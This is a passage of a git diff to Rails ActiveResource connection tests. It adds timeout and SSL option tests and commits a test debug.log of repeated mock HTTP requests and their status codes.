-      @http.expects(:get).raises(Timeout::Error, 'execution expired')
-      assert_raise(ActiveResource::TimeoutError) { @conn.get('/people_timeout.xml') }
-    end
+  def test_timeout
+    @http = mock('new Net::HTTP')
+    @conn.expects(:http).returns(@http)
+    @http.expects(:get).raises(Timeout::Error, 'execution expired')
+    assert_raise(ActiveResource::TimeoutError) { @conn.get('/people_timeout.xml') }
+  end
 
-    def test_accept_http_header
-      @http = mock('new Net::HTTP')
-      @conn.expects(:http).returns(@http)
-      path = '/people/1.xml'
-      @http.expects(:get).with(path,  {'Accept' => 'application/xhtml+xml'}).returns(ActiveResource::Response.new(@matz, 200, {'Content-Type' => 'text/xhtml'}))
-      assert_nothing_raised(Mocha::ExpectationError) { @conn.get(path, {'Accept' => 'application/xhtml+xml'}) }
+  def test_setting_timeout
+    http = Net::HTTP.new('')
+
+    [10, 20].each do |timeout|
+      @conn.timeout = timeout
+      @conn.send(:configure_http, http)
+      assert_equal timeout, http.open_timeout
+      assert_equal timeout, http.read_timeout
     end
   end
 
+  def test_accept_http_header
+    @http = mock('new Net::HTTP')
+    @conn.expects(:http).returns(@http)
+    path = '/people/1.xml'
+    @http.expects(:get).with(path,  {'Accept' => 'application/xhtml+xml'}).returns(ActiveResource::Response.new(@matz, 200, {'Content-Type' => 'text/xhtml'}))
+    assert_nothing_raised(Mocha::ExpectationError) { @conn.get(path, {'Accept' => 'application/xhtml+xml'}) }
+  end
+
+  def test_ssl_options_get_applied_to_http
+    http = Net::HTTP.new('')
+    @conn.site="https://secure"
+    @conn.ssl_options={:verify_mode => OpenSSL::SSL::VERIFY_PEER}
+    @conn.timeout = 10 # prevent warning about uninitialized.
+    @conn.send(:configure_http, http)
+
+    assert http.use_ssl?
+    assert_equal http.verify_mode, OpenSSL::SSL::VERIFY_PEER
+  end
+
+  def test_ssl_error
+    http = Net::HTTP.new('')
+    @conn.expects(:http).returns(http)
+    http.expects(:get).raises(OpenSSL::SSL::SSLError, 'Expired certificate')
+    assert_raise(ActiveResource::SSLError) { @conn.get('/people/1.xml') }
+  end
+
   protected
     def assert_response_raises(klass, code)
       assert_raise(klass, "Expected response code #{code} to raise #{klass}") do
diff --git a/vendor/rails/activeresource/test/debug.log b/vendor/rails/activeresource/test/debug.log
new file mode 100644
index 00000000..b7a4de99
--- /dev/null
+++ b/vendor/rails/activeresource/test/debug.log
@@ -0,0 +1,9702 @@
+# Logfile created on Tue Oct 14 21:53:47 +0200 2008 by /
+DELETE http://localhost:80/people/2.xml
+--> 200 200 (0 0.00s)
+GET http://localhost:80/people/2.xml
+--> 200 200 (107 0.00s)
+POST http://localhost:80/people/2/addresses.xml
+--> 201 201 (0 0.00s)
+PUT http://localhost:80/people/2.xml
+--> 204 204 (0 0.00s)
+POST http://localhost:80/people/2.xml
+POST http://localhost:80/people/2/addresses.xml
+PUT http://localhost:80/people/2.xml
+DELETE http://localhost:80/people/2.xml
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 201 201 (109 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 409 409 (0 0.00s)
+POST http://37s.sunrise.i:3000/people/1/addresses.xml
+--> 201 201 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/4.xml
+--> 404 404 (0 0.00s)
+DELETE http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 404 404 (0 0.00s)
+DELETE http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 404 404 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+DELETE http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 404 404 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+DELETE http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 404 404 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/99.xml
+--> 404 404 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/99.xml
+--> 404 404 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/2/addresses/1.xml
+--> 404 404 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/2.xml
+--> 404 404 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/2/addresses/1.xml
+--> 404 404 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/2.xml
+--> 404 404 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0.00s)
+HEAD http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0.00s)
+HEAD http://37s.sunrise.i:3000/people/Greg/addresses/1.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg/addresses/1.xml
+--> 200 200 (120 0.00s)
+HEAD http://37s.sunrise.i:3000/people/Greg/addresses/1.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0.00s)
+GET http://37s.sunrise.i:3000/companies/1/people.xml
+--> 200 200 (147 0.00s)
+GET http://37s.sunrise.i:3000/companies/1/people.xml
+--> 200 200 (147 0.00s)
+GET http://37s.sunrise.i:3000/people/managers.xml
+--> 200 200 (147 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/99.xml
+--> 404 404 (0 0.00s)
+GET http://37s.sunrise.i:3000/people//addresses/1.xml
+--> 404 404 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0.00s)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0.00s)
+GET http://37s.sunrise.i:3000/companies/1/manager.xml
+--> 200 200 (107 0.00s)
+GET http://37s.sunrise.i:3000/people/leader.xml
+--> 200 200 (107 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+GET http://37s.sunrise.i:3000/people/5.xml
+--> 200 200 (230 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+GET http://37s.sunrise.i:3000/customers/1.xml
+--> 200 200 (1458 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 201 201 (109 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://somewhere.else:80/people.xml
+--> 200 200 (222 0.00s)
+PUT http://somewhere.else:80/people/1.xml
+--> 204 204 (0 0.00s)
+GET http://somewhere.else:80/people/2.xml
+--> 200 200 (107 0.00s)
+PUT http://somewhere.else:80/people/2.xml
+--> 409 409 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+PUT http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 204 204 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses.xml
+--> 200 200 (166 0.00s)
+PUT http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 204 204 (0 0.00s)
+GET http://localhost:80/people/1.xml
+--> 200 200 (106 0.00s)
+DELETE http://localhost:80/people/1.xml
+--> 200 200 (0 0.00s)
+DELETE http://localhost:80/people/2.xml
+--> 200 200 (0 0.00s)
+GET http://localhost:80/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://localhost:80/people.xml
+--> 200 200 (222 0.00s)
+GET http://localhost:80/people_empty_elements.xml
+--> 200 200 (77 0.00s)
+GET http://localhost:80/people_single_elements.xml
+--> 200 200 (208 0.00s)
+GET http://localhost:80/people/2.xml
+--> 200 200 (107 0.00s)
+HEAD http://localhost:80/people/1.xml
+--> 200 200 (0 0.00s)
+POST http://localhost:80/people.xml
+--> 201 201 (0 0.00s)
+POST http://localhost:80/members.xml
+--> 201 201 (1 0.00s)
+PUT http://localhost:80/people/1.xml
+--> 204 204 (0 0.00s)
+PUT http://localhost:80/people/2.xml
+--> 204 204 (0 0.00s)
+GET http://localhost:80/people_timeout.xml
+GET http://somewhere.else:80/people/retrieve.xml?name=Matz
+--> 200 200 (146 0.00s)
+POST http://somewhere.else:80/people/hire.xml?name=Matz
+--> 201 201 (0 0.00s)
+PUT http://somewhere.else:80/people/promote.xml?name=Matz
+--> 204 204 (0 0.00s)
+PUT http://somewhere.else:80/people/sort.xml?by=name
+--> 204 204 (0 0.00s)
+DELETE http://somewhere.else:80/people/deactivate.xml?name=Matz
+--> 200 200 (0 0.00s)
+PUT http://37s.sunrise.i:3000/people/1/addresses/sort.xml?by=name
+--> 204 204 (0 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://somewhere.else:80/people/1/shallow.xml
+--> 200 200 (106 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://somewhere.else:80/people/1/deep.xml
+--> 200 200 (129 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0.00s)
+PUT http://somewhere.else:80/people/1/promote.xml?position=Manager
+--> 204 204 (0 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0.00s)
+DELETE http://somewhere.else:80/people/1/deactivate.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1/deep.xml
+--> 200 200 (139 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+PUT http://37s.sunrise.i:3000/people/1/addresses/1/normalize_phone.xml?locale=US
+--> 204 204 (0 0.00s)
+POST http://somewhere.else:80/people/new/register.xml
+--> 201 201 (78 0.00s)
+POST http://37s.sunrise.i:3000/people/1/addresses/new/link.xml
+--> 201 201 (92 0.00s)
+POST http://somewhere.else:80/people/1/register.xml
+--> 201 201 (106 0.00s)
+GET http://somewhere.else:80/people/managers.xml
+--> 200 200 (146 0.00s)
+GET http://somewhere.else:80/people.json
+--> 200 200 (55 0.00s)
+GET http://somewhere.else:80/people.xml
+--> 200 200 (224 0.00s)
+GET http://somewhere.else:80/people/retrieve.json?name=David
+--> 200 200 (28 0.00s)
+GET http://somewhere.else:80/people/retrieve.xml?name=David
+--> 200 200 (149 0.00s)
+GET http://somewhere.else:80/people/2.json
+--> 200 200 (26 0.00s)
+GET http://somewhere.else:80/people/2/shallow.json
+--> 200 200 (26 0.00s)
+GET http://somewhere.else:80/people/2.xml
+--> 200 200 (103 0.00s)
+GET http://somewhere.else:80/people/2/shallow.xml
+--> 200 200 (103 0.00s)
+POST http://somewhere.else:80/people.json
+--> 201 201 (16 0.00s)
+POST http://somewhere.else:80/people/new/register.json
+--> 201 201 (16 0.00s)
+POST http://somewhere.else:80/people.xml
+--> 201 201 (74 0.00s)
+POST http://somewhere.else:80/people/new/register.xml
+--> 201 201 (74 0.00s)
+GET http://somewhere.else:80/people/1.json
+--> 200 200 (26 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (103 0.00s)
+POST http://somewhere.else:80/people.json
+--> 201 201 (54 0.00s)
+POST http://somewhere.else:80/people.xml
+--> 201 201 (132 0.00s)
+DELETE http://localhost:80/people/2.xml
+--> 200 200 (0 0.00s)
+GET http://localhost:80/people/2.xml
+--> 200 200 (107 0.00s)
+POST http://localhost:80/people/2/addresses.xml
+--> 201 201 (0 0.00s)
+PUT http://localhost:80/people/2.xml
+--> 204 204 (0 0.00s)
+POST http://localhost:80/people/2.xml
+POST http://localhost:80/people/2/addresses.xml
+PUT http://localhost:80/people/2.xml
+DELETE http://localhost:80/people/2.xml
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 201 201 (109 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 409 409 (0 0.00s)
+POST http://37s.sunrise.i:3000/people/1/addresses.xml
+--> 201 201 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/4.xml
+--> 404 404 (0 0.00s)
+DELETE http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 404 404 (0 0.00s)
+DELETE http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 404 404 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+DELETE http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 404 404 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+DELETE http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 404 404 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/99.xml
+--> 404 404 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/99.xml
+--> 404 404 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/2/addresses/1.xml
+--> 404 404 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/2.xml
+--> 404 404 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/2/addresses/1.xml
+--> 404 404 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/2.xml
+--> 404 404 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0.00s)
+HEAD http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0.00s)
+HEAD http://37s.sunrise.i:3000/people/Greg/addresses/1.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg/addresses/1.xml
+--> 200 200 (120 0.00s)
+HEAD http://37s.sunrise.i:3000/people/Greg/addresses/1.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0.00s)
+GET http://37s.sunrise.i:3000/companies/1/people.xml
+--> 200 200 (147 0.00s)
+GET http://37s.sunrise.i:3000/companies/1/people.xml
+--> 200 200 (147 0.00s)
+GET http://37s.sunrise.i:3000/people/managers.xml
+--> 200 200 (147 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/99.xml
+--> 404 404 (0 0.00s)
+GET http://37s.sunrise.i:3000/people//addresses/1.xml
+--> 404 404 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0.00s)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0.00s)
+GET http://37s.sunrise.i:3000/companies/1/manager.xml
+--> 200 200 (107 0.00s)
+GET http://37s.sunrise.i:3000/people/leader.xml
+--> 200 200 (107 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+GET http://37s.sunrise.i:3000/people/5.xml
+--> 200 200 (230 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+GET http://37s.sunrise.i:3000/customers/1.xml
+--> 200 200 (1458 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 201 201 (109 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://somewhere.else:80/people.xml
+--> 200 200 (222 0.00s)
+PUT http://somewhere.else:80/people/1.xml
+--> 204 204 (0 0.00s)
+GET http://somewhere.else:80/people/2.xml
+--> 200 200 (107 0.00s)
+PUT http://somewhere.else:80/people/2.xml
+--> 409 409 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+PUT http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 204 204 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses.xml
+--> 200 200 (166 0.00s)
+PUT http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 204 204 (0 0.00s)
+GET http://localhost:80/people/1.xml
+--> 200 200 (106 0.00s)
+DELETE http://localhost:80/people/1.xml
+--> 200 200 (0 0.00s)
+DELETE http://localhost:80/people/2.xml
+--> 200 200 (0 0.00s)
+GET http://localhost:80/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://localhost:80/people.xml
+--> 200 200 (222 0.00s)
+GET http://localhost:80/people_empty_elements.xml
+--> 200 200 (77 0.00s)
+GET http://localhost:80/people_single_elements.xml
+--> 200 200 (208 0.00s)
+GET http://localhost:80/people/2.xml
+--> 200 200 (107 0.00s)
+HEAD http://localhost:80/people/1.xml
+--> 200 200 (0 0.00s)
+POST http://localhost:80/people.xml
+--> 201 201 (0 0.00s)
+POST http://localhost:80/members.xml
+--> 201 201 (1 0.00s)
+PUT http://localhost:80/people/1.xml
+--> 204 204 (0 0.00s)
+PUT http://localhost:80/people/2.xml
+--> 204 204 (0 0.00s)
+GET http://localhost:80/people_timeout.xml
+GET http://somewhere.else:80/people/retrieve.xml?name=Matz
+--> 200 200 (146 0.00s)
+POST http://somewhere.else:80/people/hire.xml?name=Matz
+--> 201 201 (0 0.00s)
+PUT http://somewhere.else:80/people/promote.xml?name=Matz
+--> 204 204 (0 0.00s)
+PUT http://somewhere.else:80/people/sort.xml?by=name
+--> 204 204 (0 0.00s)
+DELETE http://somewhere.else:80/people/deactivate.xml?name=Matz
+--> 200 200 (0 0.00s)
+PUT http://37s.sunrise.i:3000/people/1/addresses/sort.xml?by=name
+--> 204 204 (0 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://somewhere.else:80/people/1/shallow.xml
+--> 200 200 (106 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://somewhere.else:80/people/1/deep.xml
+--> 200 200 (129 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0.00s)
+PUT http://somewhere.else:80/people/1/promote.xml?position=Manager
+--> 204 204 (0 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0.00s)
+DELETE http://somewhere.else:80/people/1/deactivate.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1/deep.xml
+--> 200 200 (139 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+PUT http://37s.sunrise.i:3000/people/1/addresses/1/normalize_phone.xml?locale=US
+--> 204 204 (0 0.00s)
+POST http://somewhere.else:80/people/new/register.xml
+--> 201 201 (78 0.00s)
+POST http://37s.sunrise.i:3000/people/1/addresses/new/link.xml
+--> 201 201 (92 0.00s)
+POST http://somewhere.else:80/people/1/register.xml
+--> 201 201 (106 0.00s)
+GET http://somewhere.else:80/people/managers.xml
+--> 200 200 (146 0.00s)
+GET http://somewhere.else:80/people.json
+--> 200 200 (55 0.00s)
+GET http://somewhere.else:80/people.xml
+--> 200 200 (224 0.00s)
+GET http://somewhere.else:80/people/retrieve.json?name=David
+--> 200 200 (28 0.00s)
+GET http://somewhere.else:80/people/retrieve.xml?name=David
+--> 200 200 (149 0.00s)
+GET http://somewhere.else:80/people/2.json
+--> 200 200 (26 0.00s)
+GET http://somewhere.else:80/people/2/shallow.json
+--> 200 200 (26 0.00s)
+GET http://somewhere.else:80/people/2.xml
+--> 200 200 (103 0.00s)
+GET http://somewhere.else:80/people/2/shallow.xml
+--> 200 200 (103 0.00s)
+POST http://somewhere.else:80/people.json
+--> 201 201 (16 0.00s)
+POST http://somewhere.else:80/people/new/register.json
+--> 201 201 (16 0.00s)
+POST http://somewhere.else:80/people.xml
+--> 201 201 (74 0.00s)
+POST http://somewhere.else:80/people/new/register.xml
+--> 201 201 (74 0.00s)
+GET http://somewhere.else:80/people/1.json
+--> 200 200 (26 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (103 0.00s)
+POST http://somewhere.else:80/people.json
+--> 201 201 (54 0.00s)
+POST http://somewhere.else:80/people.xml
+--> 201 201 (132 0.00s)
+DELETE http://localhost:80/people/2.xml
+--> 200 200 (0 0.00s)
+GET http://localhost:80/people/2.xml
+--> 200 200 (107 0.00s)
+POST http://localhost:80/people/2/addresses.xml
+--> 201 201 (0 0.00s)
+PUT http://localhost:80/people/2.xml
+--> 204 204 (0 0.00s)
+POST http://localhost:80/people/2.xml
+POST http://localhost:80/people/2/addresses.xml
+PUT http://localhost:80/people/2.xml
+DELETE http://localhost:80/people/2.xml
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 201 201 (109 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 409 409 (0 0.00s)
+POST http://37s.sunrise.i:3000/people/1/addresses.xml
+--> 201 201 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/4.xml
+--> 404 404 (0 0.00s)
+DELETE http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 404 404 (0 0.00s)
+DELETE http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 404 404 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+DELETE http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 404 404 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+DELETE http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 404 404 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/99.xml
+--> 404 404 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/99.xml
+--> 404 404 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/2/addresses/1.xml
+--> 404 404 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/2.xml
+--> 404 404 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/2/addresses/1.xml
+--> 404 404 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/2.xml
+--> 404 404 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0.00s)
+HEAD http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0.00s)
+HEAD http://37s.sunrise.i:3000/people/Greg/addresses/1.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg/addresses/1.xml
+--> 200 200 (120 0.00s)
+HEAD http://37s.sunrise.i:3000/people/Greg/addresses/1.xml
+--> 200 200 (0 0.00s)
